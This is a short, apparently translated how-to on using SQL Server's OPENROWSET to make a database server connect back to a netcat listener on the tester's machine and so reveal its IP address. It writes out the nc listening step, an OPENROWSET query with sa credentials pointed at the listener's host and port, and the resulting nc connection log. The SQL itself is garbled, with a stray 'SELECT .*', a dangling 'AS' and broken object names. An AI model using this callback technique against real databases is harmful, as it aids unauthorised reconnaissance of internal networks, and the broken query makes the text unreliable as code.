Use openrowset to obtain the IP address of the Database Server

First, use NC to listen to a port locally, such as 5678.

Use openrowset to connect to port 5678 of the local machine.

SELECT .*
From openrowset (SQLOLEDB, 192.168.230.1, 5678; sa; MyPass,
SELECT * FROM pubs. dbo. authors order by au_lname, au_fname) AS

Note that the port numbers and IP addresses are separated by commas.

You only need to ensure that the IP address and port are correct.

After the execution, wait a moment and you will see something similar in NC:

Listening on [any] 5678...
Connect to [192.168.230.1] from IBM-7UD8TDEQONS [192.168.230.2] 1219

Database Server IP Address: 192.168.230.2